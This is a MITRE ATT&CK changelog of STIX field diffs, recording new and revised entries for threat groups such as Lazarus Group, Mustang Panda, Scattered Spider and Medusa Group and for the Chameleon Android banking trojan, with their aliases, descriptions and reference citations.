| description | [Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official apps.(Citation: cyble_chameleon_0423) | [Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android’s Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatFabric_Chameleon_Dec2023', 'description': 'ThreatFabric. (2023, December 21). Android Banking Trojan Chameleon can now bypass any Biometric Authentication. Retrieved July 7, 2025.', 'url': 'https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action'} | |
| x_mitre_contributors | Liran Ravich, CardinalOps |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-11-17 23:08:38.543000+00:00 | 2025-10-22 02:14:27.600000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.0
Description:
AppleJeus is a North Korean state-sponsored threat group attributed to the Reconnaissance General Bureau. Associated with the broader Lazarus Group umbrella of actors, AppleJeus has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella.(Citation: dtex DPRK 2025 structure ITworkers) The group’s primary mission is to generate and launder revenue to provide financial support to the government. AppleJeus primarily targets the cryptocurrency industry and is most notably responsible for the 3CX Supply Chain Attack.(Citation: Mandiant 3cx UNC4736 2023) The group traditionally deploys malicious cryptocurrency software in combination with Phishing. From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)
Current version: 1.0
Description:
Contagious Interview is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. Contagious Interview targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities. (Citation: Validin Contagious Interview North Korea ClickFix January 2025)(Citation: Esentire ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: Datadog Contagious Interview Tenacious Pungsan October 2024)(Citation: Recorded Future Contagious Inteview BeaverTail InvisibleFerret OtterCookie February 2025)(Citation: ESET Contagious Interview BeaverTail InvisibleFerret February 2025)(Citation: Zscaler ContagiousInterview BeaverTail InvisibleFerret November 2024)(Citation: PaloAlto ContagiousInterview BeaverTail InvisibleFerret November 2023)(Citation: PaloAlto Unit42 ContagiousInterview BeaverTail InvisibileFerret October 2024)
Current version: 1.0
Description:
Medusa Group has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware’s core developers. Public sources have also referred to the group as “Spearwing” or “Medusa Actors.” (Citation: CISA Medusa Group Medusa Ransomware March 2025) (Citation: Broadcom Medusa Ransomware Medusa Group March 2025) Medusa Group employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and threatening to publish stolen information if ransom demands are not met. (Citation: Security Scorecard Medusa Ransomware January 2024) For initial access, Medusa Group has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally. (Citation: Intel471 Medusa Ransomware May 2025)
Current version: 1.0
Description:
Storm-0501 is a financially motivated cyber criminal group that uses commodity and open-source tools to conduct ransomware operations. Storm-0501 has been active since 2021 and has previously been affiliated with Sabbath Ransomware and other Ransomware-as-a-Service (RaaS) variants such as Hive, BlackCat, Hunters International, LockBit 3.0, and Embargo ransomware.(Citation: Avertium Storm-0501 Sabbath Ransomware Arcane January 2022)(Citation: Microsoft Storm-501 Sabbath Ransomware Embargo September 2024)(Citation: Microsoft Storm-0501 Embargo Ransomware August 2025)(Citation: Google Mandiant Storm-0501 Sabbath Ransomware November 2021)
Current version: 1.0
Description:
UNC3886 is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. UNC3886 has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.(Citation: Mandiant Fortinet Zero Day)(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)
Current version: 1.0
Description:
Water Galura are the operators of the Qilin Ransomware-as-a-Service (RaaS) who handle payload generation, ransom negotiations, and the publication of stolen data for Qilin affilates recruited on Russian cybercrime forums. Water Galura have been active since at least 2022 and use a double extortion model where they demand payment for providing decryption keys and for refraining from publishing the stolen data to their leak site.(Citation: BushidoToken Qilin RaaS JUN 2024)(Citation: Sophos Qilin MSP APR 2025)
Current version: 5.0
Version changed from: 4.1 → 5.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | North Korean state-sponsored cyber threat group that has bee | > | North Korean state-sponsored cyber threat group attributed t | ||
| > | n attributed to the Reconnaissance General Bureau.(Citation: | > | o the Reconnaissance General Bureau (RGB). (Citation: US-CER | ||
| > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | > | T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C | ||
| > | rean Cyber Groups September 2019) The group has been active | > | yber Groups September 2019) [Lazarus Group](https://attack.m | ||
| > | since at least 2009 and was reportedly responsible for the N | > | itre.org/groups/G0032) has been active since at least 2009 a | ||
| > | ovember 2014 destructive wiper attack against Sony Pictures | > | nd is reportedly responsible for the November 2014 destructi | ||
| > | Entertainment as part of a campaign named Operation Blockbus | > | ve wiper attack on Sony Pictures Entertainment, identified b | ||
| > | ter by Novetta. Malware used by [Lazarus Group](https://atta | > | y Novetta as part of Operation Blockbuster. Malware used by | ||
| > | ck.mitre.org/groups/G0032) correlates to other reported camp | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) corre | ||
| > | aigns, including Operation Flame, Operation 1Mission, Operat | > | lates to other reported campaigns, including Operation Flame | ||
| > | ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta | > | , Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day | ||
| > | Blockbuster) North Korean group definitions are known to h | > | s of Rain.(Citation: Novetta Blockbuster) North Korea’s cyb | ||
| > | ave significant overlap, and some security researchers repor | > | er operations have shown a consistent pattern of adaptation, | ||
| > | t all North Korean state-sponsored cyber activity under the | > | forming and reorganizing units as national priorities shift | ||
| > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | > | . These units frequently share personnel, infrastructure, ma | ||
| > | instead of tracking clusters or subgroups, such as [Andariel | > | lware, and tradecraft, making it difficult to attribute spec | ||
| > | ](https://attack.mitre.org/groups/G0138), [APT37](https://at | > | ific operations with high confidence. Public reporting often | ||
| > | tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o | > | uses “Lazarus Group” as an umbrella term for multiple North | ||
| > | rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro | > | Korean cyber operators conducting espionage, destructive at | ||
| > | ups/G0094). | > | tacks, and financially motivated campaigns.(Citation: Mandia | ||
| > | nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou | ||||
| > | ps 2023)(Citation: JPCert Blog Laz Subgroups 2025) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 17:21:11.622000+00:00 | 2025-10-24 01:29:21.748000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster) + +North Korea’s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses “Lazarus Group” as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025) + + |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 4.1 | 5.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant DPRK Groups 2023', 'description': 'Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023'} | |
| external_references | {'source_name': 'Mandiant DPRK Laz Org Breakdown 2022', 'description': 'Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/'} | |
| external_references | {'source_name': 'JPCert Blog Laz Subgroups 2025', 'description': '佐々木勇人 Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup. Retrieved August 25, 2025.', 'url': 'https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html'} |
Current version: 6.0
Version changed from: 5.1 → 6.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-08-29 14:59:08.071000+00:00 | 2025-10-22 19:08:44.552000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 5.1 | 6.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | mobile-attack |
Current version: 3.0
Version changed from: 2.1 → 3.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a | t | 1 | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a |
| > | China-based cyber espionage threat actor that was first obse | > | China-based cyber espionage threat actor that has been condu | ||
| > | rved in 2017 but may have been conducting operations since a | > | cting operations since at least 2012. [Mustang Panda](https: | ||
| > | t least 2014. [Mustang Panda](https://attack.mitre.org/group | > | //attack.mitre.org/groups/G0129) has been known to use tailo | ||
| > | s/G0129) has targeted government entities, nonprofits, relig | > | red phishing lures and decoy documents to deliver malicious | ||
| > | ious, and other non-governmental organizations in the U.S., | > | payloads. [Mustang Panda](https://attack.mitre.org/groups/G | ||
| > | Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe | > | 0129) has targeted government, diplomatic, and non-governmen | ||
| > | rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: | > | tal organizations, including think tanks, religious institut | ||
| > | Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B | > | ions, and research entities, across the United States, Europ | ||
| > | RONZE PRESIDENT December 2019) | > | e, and Asia, with notable activity in Russia, Mongolia, Myan | ||
| > | mar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PA | ||||
| > | NDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda | ||||
| > | March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(C | ||||
| > | itation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(C | ||||
| > | itation: Secureworks BRONZE PRESIDENT December 2019)(Citatio | ||||
| > | n: DOJ Affidavit Search and Seizure PlugX December 2024)(Cit | ||||
| > | ation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MU | ||||
| > | STANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUST | ||||
| > | ANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)( | ||||
| > | Citation: Sophos PlugX September 2022)(Citation: Sophos Must | ||||
| > | ang Panda PLUGX)(Citation: Zscaler) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:34.723000+00:00 | 2025-10-23 18:52:40.872000+00:00 |
| description | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) | [Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler) |
| external_references[4]['description'] | (Citation: Secureworks BRONZE PRESIDENT December 2019) | (Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | STATELY TAURUS | |
| aliases | FIREANT | |
| aliases | CAMARO DRAGON | |
| aliases | EARTH PRETA | |
| aliases | HIVE0154 | |
| aliases | TWILL TYPHOON | |
| aliases | TANTALUM | |
| aliases | LUMINOUS MOTH | |
| aliases | UNC6384 | |
| aliases | TEMP.Hex | |
| aliases | Red Lich | |
| external_references | {'source_name': 'EARTH PRETA', 'description': '(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)'} | |
| external_references | {'source_name': 'FIREANT', 'description': '(Citation: Broadcom)'} | |
| external_references | {'source_name': 'UNC6384', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'} | |
| external_references | {'source_name': 'TEMP.Hex', 'description': '(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)'} | |
| external_references | {'source_name': 'CAMARO DRAGON', 'description': '(Citation: HorseShell)'} | |
| external_references | {'source_name': 'HIVE0154', 'description': '(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)'} | |
| external_references | {'source_name': 'TWILL TYPHOON', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'} | |
| external_references | {'source_name': 'TANTALUM', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'} | |
| external_references | {'source_name': 'LUMINOUS MOTH', 'description': '(Citation: Microsoft Naming Conventions Frequently Updated)'} | |
| external_references | {'source_name': 'STATELY TAURUS', 'description': '(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)'} | |
| external_references | {'source_name': 'Red Lich', 'description': '(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)'} | |
| external_references | {'source_name': 'Eset PlugX Korplug Mustang Panda March 2022', 'description': 'Alexandre Cote Cyr. (2022, March 23). Mustang Panda’s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.', 'url': 'https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/'} | |
| external_references | {'source_name': 'Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022', 'description': 'Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.', 'url': 'https://blog.talosintelligence.com/mustang-panda-targets-europe/'} | |
| external_references | {'source_name': 'Broadcom', 'description': 'Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.', 'url': 'https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia'} | |
| external_references | {'source_name': 'HorseShell', 'description': 'Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.', 'url': 'https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/'} | |
| external_references | {'source_name': 'CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024', 'description': 'CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta’s Handling of Rebel Attacks. Retrieved August 4, 2025.', 'url': 'https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/'} | |
| external_references | {'source_name': 'DOJ Affidavit Search and Seizure PlugX December 2024', 'description': 'DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND SEIZURE OF COMPUTERS IN THE UNITED STATES INFECTED WITH PLUGX MALWARE . Retrieved September 9, 2025.', 'url': 'https://www.justice.gov/archives/opa/media/1384136/dl'} | |
| external_references | {'source_name': 'EclecticIQ Mustang Panda PlugX', 'description': 'EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.', 'url': 'https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware'} | |
| external_references | {'source_name': 'IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025', 'description': 'Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor'} | |
| external_references | {'source_name': '2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA', 'description': 'Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.', 'url': 'https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan'} | |
| external_references | {'source_name': 'ATTACKIQ MUSTANG PANDA TONESHELL March 2023', 'description': 'Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.', 'url': 'https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/'} | |
| external_references | {'source_name': 'Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024', 'description': 'Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html'} | |
| external_references | {'source_name': 'Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023', 'description': 'Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/'} | |
| external_references | {'source_name': 'Microsoft Naming Conventions Frequently Updated', 'description': 'Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.', 'url': 'https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming'} | |
| external_references | {'source_name': 'Trend Micro Mustang Panda Earth Preta Toneshell February 2025', 'description': 'Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html'} | |
| external_references | {'source_name': '2022 November_TrendMicro_Earth Preta_Toneshell_Pubload', 'description': 'Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html'} | |
| external_references | {'source_name': 'Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025', 'description': 'Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.', 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats'} | |
| external_references | {'source_name': 'PWC UK MUSTANG PANDA RED LICH February 2021', 'description': 'PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.', 'url': 'https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf'} | |
| external_references | {'source_name': 'Unit42 Bookworm Nov2015', 'description': 'Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/'} | |
| external_references | {'source_name': 'Palo Alto Networks, Unit 42', 'description': 'Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/'} | |
| external_references | {'source_name': 'Sophos PlugX September 2022', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx'} | |
| external_references | {'source_name': 'Sophos Mustang Panda PLUGX', 'description': 'Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.', 'url': 'https://www.secureworks.com/blog/bronze-president-targets-government-officials'} | |
| external_references | {'source_name': 'Zscaler', 'description': 'Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.', 'url': 'https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1'} | |
| external_references | {'source_name': 'Trend Micro Mustang Panda Earth Preta TONESHELL June 2023', 'description': 'Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.', 'url': 'https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html'} | |
| external_references | {'source_name': 'BlackBerry MUSTANG PANDA October 2022', 'description': 'The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims. Retrieved October 14, 2025.', 'url': 'https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims'} | |
| external_references | {'source_name': 'Unit42 Chinese VSCode 06 September 2024', 'description': 'Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.', 'url': 'https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/'} | |
| x_mitre_contributors | Jiraput Thamsongkrah | |
| x_mitre_contributors | YH Chang, ZScaler ThreatLabz |
Current version: 3.0
Version changed from: 2.0 → 3.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is | t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is |
| > | a native English-speaking cybercriminal group that has been | > | a native English-speaking cybercriminal group active since | ||
| > | active since at least 2022.(Citation: CrowdStrike Scattered | > | at least 2022. (Citation: CrowdStrike Scattered Spider Profi | ||
| > | Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct | > | le) (Citation: MSTIC Octo Tempest Operations October 2023) T | ||
| > | ober 2023) The group initially targeted customer relationshi | > | he group initially targeted customer relationship management | ||
| > | p management and business-process outsourcing (BPO) firms as | > | (CRM) providers, business process outsourcing (BPO) firms, | ||
| > | well as telecommunications and technology companies. Beginn | > | and telecommunications and technology companies before expan | ||
| > | ing in 2023, [Scattered Spider](https://attack.mitre.org/gro | > | ding in 2023 to gaming, hospitality, retail, managed service | ||
| > | ups/G1015) expanded its operations to compromise victims in | > | provider (MSP), manufacturing, and financial sectors. (Cita | ||
| > | the gaming, hospitality, retail, MSP, manufacturing, and fin | > | tion: MSTIC Octo Tempest Operations October 2023) [Scattered | ||
| > | ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo | > | Spider](https://attack.mitre.org/groups/G1015) relies heavi | ||
| > | ber 2023) During campaigns, [Scattered Spider](https://attac | > | ly on social engineering, including impersonating IT and hel | ||
| > | k.mitre.org/groups/G1015) has leveraged targeted social-engi | > | p-desk staff, to gain initial access, bypass multi-factor au | ||
| > | neering techniques, attempted to bypass popular endpoint sec | > | thentication (MFA), and compromise enterprise networks. The | ||
| > | urity tools, and more recently, deployed ransomware for fina | > | group has adapted its tooling to evade endpoint detection an | ||
| > | ncial gain.(Citation: CISA Scattered Spider Advisory Novembe | > | d response (EDR) defenses and used ransomware for financial | ||
| > | r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January | > | gain. (Citation: CISA Scattered Spider Advisory November 202 | ||
| > | 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat | > | 3) (Citation: CrowdStrike Scattered Spider BYOVD January 202 | ||
| > | ion: MSTIC Octo Tempest Operations October 2023)(Citation: C | > | 3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) | ||
| > | rowdstrike TELCO BPO Campaign December 2022) | > | [Scattered Spider](https://attack.mitre.org/groups/G1015) ha | ||
| > | d expanded into hybrid cloud and identity environments, usin | ||||
| > | g help-desk impersonation and MFA bypass to obtain administr | ||||
| > | ator access in Okta, AWS, and Office 365. (Citation: Mandian | ||||
| > | t UNC3944 May 2025) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-04-04 21:24:48.602000+00:00 | 2025-10-24 02:30:51.936000+00:00 |
